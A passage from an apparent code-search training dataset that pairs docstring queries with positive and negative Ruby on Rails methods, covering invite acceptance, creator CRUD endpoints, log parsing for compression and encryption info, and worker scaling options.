"def perform(batch_id)\n # Rails.logger.debug \"\\033[31m UpdateActiveTrayPlansJob: #{batch_id} \\033[0m\"\n # Find the corresponding batch\n batch = Cultivation::Batch.find(batch_id)\n # Find all 'phase' tasks\n phases = Cultivation::QueryBatchPhases.call(batch).booking_schedules\n # Find all tray locations in database\n locations = QueryReadyTrays.call(batch.facility_id).result\n # Find all existing TrayPlans\n tray_plans = Cultivation::TrayPlan.where(batch_id: batch_id)\n # Culculate number of Active Plants, capacity that needs to be booked.\n phases.each do |phase_info|\n plant_groups, total = group_plants_by_location(batch_id, phase_info.phase)\n # p \"total: #{total}\"\n plant_groups.each do |location_id, location_plants|\n tray = locations.detect { |a| a.tray_id.to_s == location_id.to_s }\n if !location_plants.empty?\n quantity = location_plants.length\n # Find existing TrayPlan for this location & phase\n phase_plans = tray_plans.where(phase: phase_info.phase,\n tray_id: location_id)\n # Delete existing Tray Plans\n phase_plans.delete_all if !phase_plans.empty?\n # Create Tray Plan(s)\n recreate_tray_plans(batch_id, phase_info, quantity, tray)\n # Update batch's growth stage\n batch.current_growth_stage = phase_info.phase\n end\n end\n # Update info back to batch\n batch.quantity = total\n batch.save!\n end\n end",
"def job_done job, results\n puts \"#{name}: Done #{job.id}\"\n jc = Job::COMPLETE_TEMPLATE.dup\n jc['id'] = job.id\n jc['result'] = results\n ts.write jc\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Add the user to the dwelling they were invited to. GET /invites/:token/accept | def accept
@invite = Invite.find_by_token(params[:token])
if @invite
current_user.dwelling = @invite.dwelling
current_user.save!
end
@invite.destroy
respond_to do |format|
format.html { redirect_to 404 } unless @invite
if current_user.save
format.html { redirect_to root_path }
else
format.html { render action: 'show',
notice: 'There was a problem adding you to the dwelling.' }
end
end
end | [
"def accept!()\n self.status = Invite::Status::ACCEPTED\n invitable.add_member invitee\n save!\n end",
"def invite\n if not user_signed_in?\n redirect_to new_user_session_path\n else\n User.find(params[:user_id]).invites << current_user\n redirect_to friends_path\n end\n end",
"def accept_invite\n user = getCurrentUser\n group = Group.find(params[:id])\n invite = Invite.where('user_id' => user.id).where('group_id' => group.id).take!\n puts invite\n # change the response flag in database to be true\n invite.response = true\n # update table entry\n invite.save\n #redirect to invites page\n # add user to group\n group.users << user\n redirect_to(:controller => 'groups', :action => 'invites', :id => session[:user_id])\n end",
"def invitaiton_accept(id, query={})\n perform_put(\"/api/1/invitations/#{id}\", :query => query)\n end",
"def acceptInvite\n signedin\n acceptEventInvite(params[:eid], params[:uid])\n end",
"def accept_invite(event)\n invite = Invite.where(user: self, event: event)\n invite.accept if invite.present?\n end",
"def accept_invite\t\t\t \t\t\t \n\t\t\t membership = Membership.find_by_group_id_and_user_id(params[:group_id], doorkeeper_token.resource_owner_id)\n\t\t\t unless membership.nil?\n\t\t\t membership.update_attributes :acceptance_status => true\n\t\t\t respond_to do |format|\t\t\t \n\t\t\t format.json { head :no_content }\n\t\t\t end\n\t\t\t else\n\t\t\t respond_to do |format|\t\t\t \n\t\t\t format.json { render json: \"You have not been invited to the group\", status: :forbidden}\n\t\t\t end\n\t\t\t end\n\t\t\tend",
"def accept_invite_for_user(user)\n invite = Invite.find(session[:invite_id])\n res = invite.accepted_by(user)\n session[:invite_id] = nil\n res\n end",
"def accept_invite\n @invite = EventInvite.where(:event_id => params[:id], :user_id => session[:user_id])[0]\n @invite.accepted = true\n @invite.save\n \n redirect_to :action => \"show\", :id => params[:id]\n end",
"def invitemyself()\n playerid = session[:playerid]\n player = getcurrentplayer()\n player.invitations.create( :invited => playerid, :accepted => true )\n end",
"def invited_user\n\t\t\t@friendship = current_user.friendships.find_by(id: params[:id])\n\t\t\tredirect_to root_path unless @friendship && @friendship.status == \"pending\"\n\t\tend",
"def accept_invitation\n accepted = false\n inv = Invitation.find_by_key(params[:key])\n\n if inv.present?\n s = Story.is_not_deleted.find_by_id(inv.story_id)\n if inv.accepted_at.blank?\n if s.present?\n s.users << current_user\n inv.accepted_at = Time.now\n inv.save\n redirect_to stories_path, :notice => t('app.msgs.invitation.accepted', :title => s.title)\n accepted = true\n end\n else\n redirect_to stories_path, :notice => t('app.msgs.invitation.accepted_already', :title => s.title)\n accepted = true\n end\n end\n\n if !accepted\n redirect_to settings_invitations_path, :notice => t('app.msgs.invitation.bad')\n end\n end",
"def accept(user)\r\n self.accepted_at = Time.now\r\n self.new_user_id = user.id\r\n self.save!\r\n self.user.add_friend(self.new_user)\r\n self.new_user.add_friend(self.user)\r\n InvitationMailer.deliver_user_accepted_invitation(self)\r\n end",
"def accept_invitation\n @skip_password = false\n if invited? && valid?\n clear_invitation_token\n save\n else\n false\n end\n end",
"def use_invite\n \n # Make sure the user has invites remaining\n if current_user.alpha_invites < 1\n redirect_to pages_account_path, :notice => \"You do not have any invitations at this time.\"\n return\n end\n \n # Invite existing user\n email = params[:user][:email]\n email.downcase!\n user = User.find_by_email(email)\n if user and user.pending_invitation\n user.can_post = true\n user.pending_invitation = false\n user.save\n user.invite!\n current_user.alpha_invites -= 1\n current_user.save\n end\n \n # Create a new user\n unless user\n self.resource = resource_class.invite!(params[resource_name], current_inviter) do |u|\n u.email = email\n u.can_post = true\n u.pending_invitation = false\n end\n if resource.errors.empty?\n current_user.alpha_invites -= 1\n current_user.save\n end\n end\n redirect_to pages_account_path, :notice => \"We emailed \" + email + \" with an invitation.\"\n end",
"def invite\n \n end",
"def add_to_invited(user)\r\n\tif user && !user.new_record?\r\n\t\tself.invitees[user.id] = 1\r\n\t\t\r\n\t\tupdate_attribute(:invitees, self.invitees)\r\n\tend\r\n end",
"def invite\n @meal = Meal.find(params[:meal_id])\n authorize @meal, :update?\n @user = if params[:user_id]\n User.find(params[:user_id])\n else\n User.find_by(name: params[:user_name])\n end\n @meal.invite_user @user\n redirect_to @meal\n end",
"def send_invite\n invitee=BetaInvites::BetaRequest.find(params[:id])\n user = invitee.send_invite!\n invitee.user.update_attributes({:invited_by_id=>current_user.id}) rescue nil\n user.is_a?(BetaInvites.user_class) ? flash[:notice] = \"Invite sent!\" : flash[:notice] = \"Could not create user...\"\n respond_to do |format|\n format.html {redirect_to root_url}\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Extracts the job's compression info by looking at the job's logs | def compression
Rails.cache.fetch(['compression', 'v1', cache_key]) do
logs.map { |log| log.compression }.uniq.compact.first
end
end | [
"def compression\n $1.strip if log_text =~ /.*Software Compression:(.*)\\n.*/\n end",
"def compression_level; end",
"def compression_method; end",
"def log!\n Backup::Logger.message \"#{ self.class } started compressing the archive.\"\n end",
"def default_compression; end",
"def log!\n Logger.info \"Using #{compressor_name} for compression.\\n\" \\\n \" Command: '#{@cmd}'\\n\" \\\n \" Ext: '#{@ext}'\"\n end",
"def compression_codec_id\n metadata & METADATA_COMPRESSION\n end",
"def all_virtual_compression_statistics\n super\n end",
"def finished_compressing\n %Q{Compressing done ...}\n end",
"def compression_codec\n cluster.config.compression_codec if compressed?\n end",
"def compress_with\n log!\n yield @cmd, @ext\n end",
"def bulk_job_metadata\n success = 0\n job_info = {}\n each_line do |line|\n # The log file is a very simple flat file (whitespace separated) format where the first token denotes the\n # field/type of information and the rest is the actual value.\n matched_strings = line.match(/^([^\\s]+)\\s+(.*)/)\n next unless matched_strings && matched_strings.length == 3\n\n job_info[matched_strings[1]] = matched_strings[2]\n success += 1 if matched_strings[1] == \"argo.bulk_metadata.bulk_log_job_save_success\"\n job_info[\"error\"] = 1 if UserLog::ERROR_MESSAGES.include?(matched_strings[1])\n end\n unless job_info.empty?\n job_info[\"dir\"] = File.join(apo_id, time)\n job_info[\"argo.bulk_metadata.bulk_log_druids_loaded\"] = success\n end\n job_info\n end",
"def detect_compression!\n # If nil we have not tried to detect yet\n if @compression.nil?\n path = Pathname.new(@patch_filename)\n if path.exist?\n @compression = path.compression_type\n @compression ||= :none # If nil, convert to :none\n end\n end\n end",
"def compression\n configuration[:copy_compression] || :gzip\n end",
"def _get_deploy_info_from_log(log_path)\n\n info_list = []\n re = /\\[{1}\\@(.*?)\\]{1}(.*)/ \n\n if FileTest::zero?(log_path)\n sleep(2)\n end\n \n if FileTest::zero?(log_path)\n info_list = [\"[@start:init]\"]\n end\n \n File.open(log_path).grep(/^\\[\\@/) do |line|\n md = re.match(line)\n list_s = []\n # The header, split it by :\n header = md[1].strip.chomp.chomp(\",\").delete(\" \")\n list_s << header.split(\":\")\n # The content\n if md[2].strip.length > 0\n list_s << md[2].strip.chomp\n end\n info_list << list_s\n end\n\n return info_list\n\n end",
"def default_compression=(_arg0); end",
"def compression_level\n super\n end",
"def compression?\n return false unless table?\n @gapi.configuration.extract.compression == \"GZIP\"\n end",
"def compression\n @j_del.isCompressionSupported\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Extracts the job's encryption info by looking at the job's logs | def encryption
Rails.cache.fetch(['encryption', 'v1', cache_key]) do
logs.map { |log| log.encryption }.uniq.compact.first
end
end | [
"def encryption\n $1.strip if log_text =~ /.*Encryption:(.*)\\n.*/\n end",
"def extract_encryption_key_email!\n if @encryption_key_email.to_s.empty?\n with_tmp_key_file do |tmp_file|\n @encryption_key_email = run(\n \"#{ utility(:gpg) } --import '#{tmp_file}' 2>&1\"\n ).match(/<(.+)>/)[1]\n end\n end\n end",
"def log!\n Logger.info \"Using #{encryptor_name} to encrypt the archive.\"\n end",
"def encryption_info\n @ms_off_crypto.encryption_info\n end",
"def activity_log_decyption_salt\n @activity_log_decyption_salt ||= begin\n kms_login_client = Aws::Kms.new('entity_association', 'general_access')\n r = kms_login_client.decrypt(GeneralSalt.get_user_activity_logging_salt_type)\n r.data[:plaintext]\n end\n end",
"def encryption_logger\n @encryption_logger ||= HipaaCrypt.config.logger.tap do |logger|\n logger.formatter = LogFormatter.new(self) if logger.respond_to? :formatter=\n end\n end",
"def encryption_info \n @encryption_info ||= create_encryption_info\n end",
"def logging_context\n middleware = is_a?(SidekiqUniqueJobs::Middleware::Client) ? :client : :server\n digest = item[LOCK_DIGEST]\n lock_type = item[LOCK]\n\n if logger_context_hash?\n { \"uniquejobs\" => middleware, lock_type => digest }\n else\n \"uniquejobs-#{middleware} #{\"DIG-#{digest}\" if digest}\"\n end\n end",
"def get_key(job)\n @client.get(@options[:cf_jobs], job[:user], job[:name])\n end",
"def collect_cert_info\n # Redirect keytool check error to /dev/null\n os_has_keytool = system('keytool 2>/dev/null')\n raise 'keytool dependency not satisfied. Make sure that JAVA keytool utility is installed' unless os_has_keytool\n cert_info = {}\n certificate_raw = `keytool -printcert -rfc -jarfile #{@apk_path.shellescape}`\n certificate_content_regexp = /(-----BEGIN CERTIFICATE-----.*-----END CERTIFICATE-----)/m\n matched_data = certificate_content_regexp.match(certificate_raw)\n if matched_data\n certificate_content = matched_data.captures[0]\n cert_info = {\n issuer_raw: nil,\n cn: nil,\n ou: nil,\n o: nil,\n st: nil,\n l: nil,\n c: nil,\n creation_date: nil,\n expiration_date: nil\n }\n cert_extract_dates(certificate_content, cert_info)\n cert_extract_issuer(certificate_content, cert_info)\n else\n puts 'Failed to find CERT.RSA file in APK'\n end\n cert_info\n end",
"def extract_login\n key_pieces = self.ssh_key.split(\" \")\n return key_pieces[2] if key_pieces.size == 3\n end",
"def _get_deploy_info_from_log(log_path)\n\n info_list = []\n re = /\\[{1}\\@(.*?)\\]{1}(.*)/ \n\n if FileTest::zero?(log_path)\n sleep(2)\n end\n \n if FileTest::zero?(log_path)\n info_list = [\"[@start:init]\"]\n end\n \n File.open(log_path).grep(/^\\[\\@/) do |line|\n md = re.match(line)\n list_s = []\n # The header, split it by :\n header = md[1].strip.chomp.chomp(\",\").delete(\" \")\n list_s << header.split(\":\")\n # The content\n if md[2].strip.length > 0\n list_s << md[2].strip.chomp\n end\n info_list << list_s\n end\n\n return info_list\n\n end",
"def bulk_job_metadata\n success = 0\n job_info = {}\n each_line do |line|\n # The log file is a very simple flat file (whitespace separated) format where the first token denotes the\n # field/type of information and the rest is the actual value.\n matched_strings = line.match(/^([^\\s]+)\\s+(.*)/)\n next unless matched_strings && matched_strings.length == 3\n\n job_info[matched_strings[1]] = matched_strings[2]\n success += 1 if matched_strings[1] == \"argo.bulk_metadata.bulk_log_job_save_success\"\n job_info[\"error\"] = 1 if UserLog::ERROR_MESSAGES.include?(matched_strings[1])\n end\n unless job_info.empty?\n job_info[\"dir\"] = File.join(apo_id, time)\n job_info[\"argo.bulk_metadata.bulk_log_druids_loaded\"] = success\n end\n job_info\n end",
"def extract_login\n if self.valid\n key_pieces = self.key.split(\" \")\n self.login = key_pieces[2] if key_pieces.size == 3\n end\n end",
"def encryptable_info\n wmi = WmiLite::Wmi.new(\"Root\\\\CIMV2\\\\Security\\\\MicrosoftVolumeEncryption\")\n disks = wmi.instances_of(\"Win32_EncryptableVolume\")\n encryption_properties(disks)\n rescue WmiLite::WmiException\n Ohai::Log.debug(\"Unable to access Win32_EncryptableVolume. Skipping encryptable details\")\n Mash.new\n end",
"def app_log_decryption_algorithm\n return @app_log_decryption_algorithm\n end",
"def sso_logging_info\n { user_uuid: @current_user&.uuid,\n sso_cookie_contents: sso_cookie_content,\n request_host: request.host }\n end",
"def trade_info\n ::Newebpay::Cipher.encrypt(params)\n end",
"def log id\n Base64.decode64(@ec2.get_console_output(instance_id: id)[\"output\"]).split(\"\\r\\n\")\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
GET /creators/new GET /creators/new.json | def new
unless current_user.try(:admin?)
redirect_to "/"
end
@page = "pieces"
@creator = Creator.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @creator }
end
end | [
"def new\n @creator = Creator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @creator }\n end\n end",
"def new\n @creator_relationship = CreatorRelationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @creator_relationship }\n end\n end",
"def new\n @owner = Owner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @owner }\n end\n end",
"def new\n @contributor = Contributor.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contributor }\n end\n end",
"def new\n @crest = Crest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @crest }\n end\n end",
"def new\n @contributor = Contributor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contributor }\n end\n end",
"def new\n @creation = Creation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @creation }\n end\n end",
"def new\n @author = Author.new\n render json: @author\n end",
"def new\n @leader = Leader.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @leader }\n end\n end",
"def new\n @collaborator = Collaborator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @collaborator }\n end\n end",
"def create\n @creator = Creator.new(params[:creator])\n\n respond_to do |format|\n if @creator.save\n format.html { redirect_to admin_creators_url, notice: 'Creator was successfully created.' }\n format.json { render json: @creator, status: :created, location: @creator }\n else\n format.html { render action: \"new\" }\n format.json { render json: @creator.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @borrower = Borrower.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrower }\n end\n end",
"def new\n @patron = Patron.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patron }\n end\n end",
"def new\n @borrower = Borrower.new\n\n respond_to do |format|\n \n format.json { render json: @borrower }\n end\n end",
"def new\n @collection_creator_relationship = CollectionCreatorRelationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @collection_creator_relationship }\n end\n end",
"def new\n @creator = Creator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @creator }\n end\n end",
"def new\n @maker = Maker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @maker }\n end\n end",
"def new\n @author = Author.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @author }\n end\n end",
"def new\n @contributor_name = ContributorName.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contributor_name }\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
POST /creators POST /creators.json | def create
@creator = Creator.new(params[:creator])
respond_to do |format|
if @creator.save
format.html { redirect_to admin_creators_url, notice: 'Creator was successfully created.' }
format.json { render json: @creator, status: :created, location: @creator }
else
format.html { render action: "new" }
format.json { render json: @creator.errors, status: :unprocessable_entity }
end
end
end | [
"def create\n creator = Creator.new(creator_params)\n\n if creator.save\n render json: creator, status: :created\n else\n render json: creator.errors, status: :unprocessable_entry\n end\n\n end",
"def create\n @creator = Creator.new(creator_params)\n respond_to do |format|\n if @creator.save \n format.html { redirect_to @creator, notice: 'Creator was successfully created.' }\n format.json { render :show, status: :created, location: @creator }\n else\n format.html { render :new }\n format.json { render json: @creator.errors, status: :unprocessable_entity }\n end\n end\n end",
"def creator\n return super if ordered_creators.blank?\n JSON.parse(ordered_creators)\n end",
"def create\n @work.contributor = current_user\n @work.creators << Creator.where(id: creator_ids)\n if @work.save\n render json: @work, status: :created, location: @work\n else\n render json: @work.errors, status: :unprocessable_entity\n end\n end",
"def creator(id, options = {})\n # v1/public/creators/{creatorId}\n get(\"creators/#{id}\", options)\n end",
"def story_creators(id, options = {})\n # v1/public/stories/{storyId}/creators\n get(\"stories/#{id}/creators\", options)\n end",
"def new\n @creator = Creator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @creator }\n end\n end",
"def create\n @author = Author.new(params[:author])\n\n render json: @author\n end",
"def series_creators(id, options = {})\n # v1/public/series/{seriesId}/creators\n get(\"series/#{id}/creators\", options)\n end",
"def comic_creators(id, options = {})\n # v1/public/comics/{comicId}/creators\n get(\"comics/#{id}/creators\", options)\n end",
"def create\n @creator_relationship = CreatorRelationship.new(params[:creator_relationship])\n\n respond_to do |format|\n if @creator_relationship.save\n format.html { redirect_to @creator_relationship, notice: 'Creator relationship was successfully created.' }\n format.json { render json: @creator_relationship, status: :created, location: @creator_relationship }\n else\n format.html { render action: \"new\" }\n format.json { render json: @creator_relationship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @creators = Creator.all\n end",
"def event_creators(id, options = {})\n # v1/public/events/{eventId}/creators\n get(\"events/#{id}/creators\", options)\n end",
"def create\n @collaborator = Collaborator.new(params[:collaborator])\n\n respond_to do |format|\n if @collaborator.save\n format.html { redirect_to @collaborator, notice: 'Collaborator was successfully created.' }\n format.json { render json: @collaborator, status: :created, location: @collaborator }\n else\n format.html { render action: \"new\" }\n format.json { render json: @collaborator.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rest = Rest.new(rest_params)\n @rest.owners << current_owner\n respond_to do |format|\n if @rest.save\n format.html { redirect_to @rest, notice: 'Rest was successfully created.' }\n format.json { render :show, status: :created, location: @rest }\n else\n format.html { render :new }\n format.json { render json: @rest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @colaborator = Colaborator.create(colaborator_params)\n respond_with @colaborator\n end",
"def create\n @relatorio_gerals = RelatorioGeral.all\n authorize @relatorio_gerals\n\n @relatorio_geral = RelatorioGeral.new(relatorio_geral_params)\n\n respond_to do |format|\n if @relatorio_geral.save\n format.html { redirect_to @relatorio_geral, notice: 'Relatório geral criado com sucesso!' }\n format.json { render :show, status: :created, location: @relatorio_geral }\n else\n format.html { render :new }\n format.json { render json: @relatorio_geral.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @relatorio_pedagogicos = RelatorioPedagogico.all\n authorize @relatorio_pedagogicos\n\n @relatorio_pedagogico = RelatorioPedagogico.new(relatorio_pedagogico_params)\n\n respond_to do |format|\n if @relatorio_pedagogico.save\n format.html { redirect_to @relatorio_pedagogico, notice: 'Relatório pedagógico criado com sucesso!' }\n format.json { render :show, status: :created, location: @relatorio_pedagogico }\n else\n format.html { render :new }\n format.json { render json: @relatorio_pedagogico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @recitator = Recitator.new(params[:recitator])\n\n respond_to do |format|\n if @recitator.save\n format.html { redirect_to @recitator, notice: 'Recitator was successfully created.' }\n format.json { render json: @recitator, status: :created, location: @recitator }\n else\n format.html { render action: \"new\" }\n format.json { render json: @recitator.errors, status: :unprocessable_entity }\n end\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
PUT /creators/1 PUT /creators/1.json | def update
@creator = Creator.find(params[:id])
respond_to do |format|
if @creator.update_attributes(params[:creator])
format.html { redirect_to admin_creators_url, notice: 'Creator was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @creator.errors, status: :unprocessable_entity }
end
end
end | [
"def update\n respond_to do |format|\n if @creator.update(creator_params)\n format.html { redirect_to @creator, notice: 'Creator was successfully updated.' }\n format.json { render :vault, status: :ok, location: @creator }\n else\n format.html { render :edit }\n format.json { render json: @creator.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @creator = Creator.new(params[:creator])\n\n respond_to do |format|\n if @creator.save\n format.html { redirect_to admin_creators_url, notice: 'Creator was successfully created.' }\n format.json { render json: @creator, status: :created, location: @creator }\n else\n format.html { render action: \"new\" }\n format.json { render json: @creator.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @creator = Creator.find(params[:id])\n\n respond_to do |format|\n if @creator.update_attributes(creator_params)\n format.html { redirect_to(creators_path, :notice => 'Creator type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @creator.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def creator(id, options = {})\n # v1/public/creators/{creatorId}\n get(\"creators/#{id}\", options)\n end",
"def update\n @author = Author.find(params[:id])\n\n render json: @author\n end",
"def destroy\n @creator = Creator.find(params[:id])\n @creator.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_creators_url }\n format.json { head :no_content }\n end\n end",
"def story_creators(id, options = {})\n # v1/public/stories/{storyId}/creators\n get(\"stories/#{id}/creators\", options)\n end",
"def update_author(id, data)\n #FIXME: Author controller doesnt receive data\n return @client.raw(\"put\", \"/content/authors/#{id}\", nil, data)\n end",
"def destroy\n @creator = Creator.find(params[:id])\n @creator.destroy\n\n respond_to do |format|\n format.html { redirect_to creators_url }\n format.json { head :no_content }\n end\n end",
"def create\n @work.contributor = current_user\n @work.creators << Creator.where(id: creator_ids)\n if @work.save\n render json: @work, status: :created, location: @work\n else\n render json: @work.errors, status: :unprocessable_entity\n end\n end",
"def create\n creator = Creator.new(creator_params)\n\n if creator.save\n render json: creator, status: :created\n else\n render json: creator.errors, status: :unprocessable_entry\n end\n\n end",
"def api_assets_creators= attrs\n existing = assets_creators.to_a\n retained_and_new = attrs.map do |attr|\n ex = existing.detect do |ac|\n attr[:creator_id].present? && (ac.creator_id == attr[:creator_id]) ||\n attr[:orcid].present? && ac.orcid == attr[:orcid] ||\n (ac.given_name == attr[:given_name] &&\n ac.family_name == attr[:family_name] &&\n ac.affiliation == attr[:affiliation])\n end\n if ex\n ex.assign_attributes(attr)\n ex\n else\n assets_creators.build(attr)\n end\n end.compact\n\n (existing - retained_and_new).each(&:destroy)\n\n retained_and_new\n end",
"def update\n @owner = Owner.find(params[:id])\n \n if @owner.update(owner_params)\n render json: @owner, status: :ok\n else\n render json: @owner.errors, status: :unprocessable_entity\n end\n end",
"def create\n @author = Author.new(params[:author])\n\n render json: @author\n end",
"def update\n @creator_relationship = CreatorRelationship.find(params[:id])\n\n respond_to do |format|\n if @creator_relationship.update_attributes(params[:creator_relationship])\n format.html { redirect_to @creator_relationship, notice: 'Creator relationship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @creator_relationship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @creator = Creator.new(creator_params)\n respond_to do |format|\n if @creator.save \n format.html { redirect_to @creator, notice: 'Creator was successfully created.' }\n format.json { render :show, status: :created, location: @creator }\n else\n format.html { render :new }\n format.json { render json: @creator.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rest = Rest.new(rest_params)\n @rest.owners << current_owner\n respond_to do |format|\n if @rest.save\n format.html { redirect_to @rest, notice: 'Rest was successfully created.' }\n format.json { render :show, status: :created, location: @rest }\n else\n format.html { render :new }\n format.json { render json: @rest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def comic_creators(id, options = {})\n # v1/public/comics/{comicId}/creators\n get(\"comics/#{id}/creators\", options)\n end",
"def add_owner(name)\n post :add_owner, :name => name\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
DELETE /creators/1 DELETE /creators/1.json | def destroy
@creator = Creator.find(params[:id])
@creator.destroy
respond_to do |format|
format.html { redirect_to admin_creators_url }
format.json { head :no_content }
end
end | [
"def destroy\n @creator = Creator.find(params[:id])\n @creator.destroy\n\n respond_to do |format|\n format.html { redirect_to creators_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n http_api.delete(\"clients/#{@name}\")\n end",
"def destroy\n @creator = Creator.find(params[:id])\n @creator.destroy\n\n respond_to do |format|\n format.html { redirect_to(creators_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n Generator.where(id: params[:id] ).first.destroy\n respond_to do |format|\n format.html { redirect_to generators_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @client1.destroy\r\n respond_to do |format|\r\n format.html { redirect_to client1s_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @recitator = Recitator.find(params[:id])\n @recitator.destroy\n\n respond_to do |format|\n format.html { redirect_to recitators_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n chef_rest_v1.delete(\"clients/#{@name}\")\n end",
"def destroy\n if @api_v1_person.destroy\n render json: 'deletado'\n end\n \n end",
"def destroy\n @client = Client.find(params[:id])\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @remate.destroy\n respond_to do |format|\n format.html { redirect_to remates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @client_name = ClientName.find(params[:id])\n @client_name.destroy\n\n respond_to do |format|\n format.html { redirect_to client_names_url }\n format.json { head :ok }\n end\n end",
"def delete_creator\n # somehow search for creator based on params\n # creator = Creator.where(\"provider = ? AND p_id = ?\", params[\"provider\"], params[\"p_id\"])\n # remove creator from user's list\n # self.creators.delete(creator)\n # if the creator is no longer followed, delete it\n # creator.delete if creator.users.nil?\n end",
"def destroy\n @autorizacion = Autorizacion.find(params[:id])\n @autorizacion.destroy\n\n respond_to do |format|\n format.html { redirect_to autorizaciones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @creator_relationship = CreatorRelationship.find(params[:id])\n @creator_relationship.destroy\n\n respond_to do |format|\n format.html { redirect_to creator_relationships_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recreation.destroy\n respond_to do |format|\n format.html { redirect_to admin_path, notice: 'Recreation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @creator_accession_relationship = CreatorAccessionRelationship.find(params[:id])\n @creator_accession_relationship.destroy\n\n respond_to do |format|\n format.html { redirect_to creator_accession_relationships_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @crust = Crust.find(params[:id])\n @crust.destroy\n\n respond_to do |format|\n format.html { redirect_to crusts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clientes1.destroy\n respond_to do |format|\n format.html { redirect_to clientes1s_url, notice: 'Clientes1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @owner.destroy\n respond_to do |format|\n format.html { redirect_to owners_url }\n format.json { head :no_content }\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Returns workers scaling algorithm list parsed to select options. | def workers_scaling_options
options = WorkersScaling::AlgorithmFactory.get_algorithms_list.map { |entry| [entry[:name], entry[:id]] }
options_for_select options, selected: options.first
end | [
"def workers_scaling_algorithms_description\n WorkersScaling::AlgorithmFactory.get_algorithms_list.map {|entry| [entry[:id], entry[:description]] }.to_h\n end",
"def optimizers\n @workers.select { |w| supported_worker?(w) }\n end",
"def optimization_options\n @options ||= @workers.each_with_object({}) do |worker, hash|\n hash[worker.to_sym] = supported_worker?(worker) && command_exists?(worker)\n end\n end",
"def compose_algorithm_list(supported, option, append_all_supported_algorithms = T.unsafe(nil)); end",
"def compose_algorithm_list(supported, option, append_all_supported_algorithms = false)\n return supported.dup unless option\n\n list = []\n option = Array(option).compact.uniq\n\n if option.first && option.first.start_with?('+', '-')\n list = supported.dup\n\n appends = option.select { |opt| opt.start_with?('+') }.map { |opt| opt[1..-1] }\n deletions = option.select { |opt| opt.start_with?('-') }.map { |opt| opt[1..-1] }\n\n list.concat(appends)\n\n deletions.each do |opt|\n if opt.include?('*')\n opt_escaped = Regexp.escape(opt)\n algo_re = /\\A#{opt_escaped.gsub('\\*', '[A-Za-z\\d\\-@\\.]*')}\\z/\n list.delete_if { |existing_opt| algo_re.match(existing_opt) }\n else\n list.delete(opt)\n end\n end\n\n list.uniq!\n else\n list = option\n\n if append_all_supported_algorithms\n supported.each { |name| list << name unless list.include?(name) }\n end\n end\n\n unsupported = []\n list.select! do |name|\n is_supported = supported.include?(name)\n unsupported << name unless is_supported\n is_supported\n end\n\n lwarn { %(unsupported algorithm: `#{unsupported}') } unless unsupported.empty?\n\n list\n end",
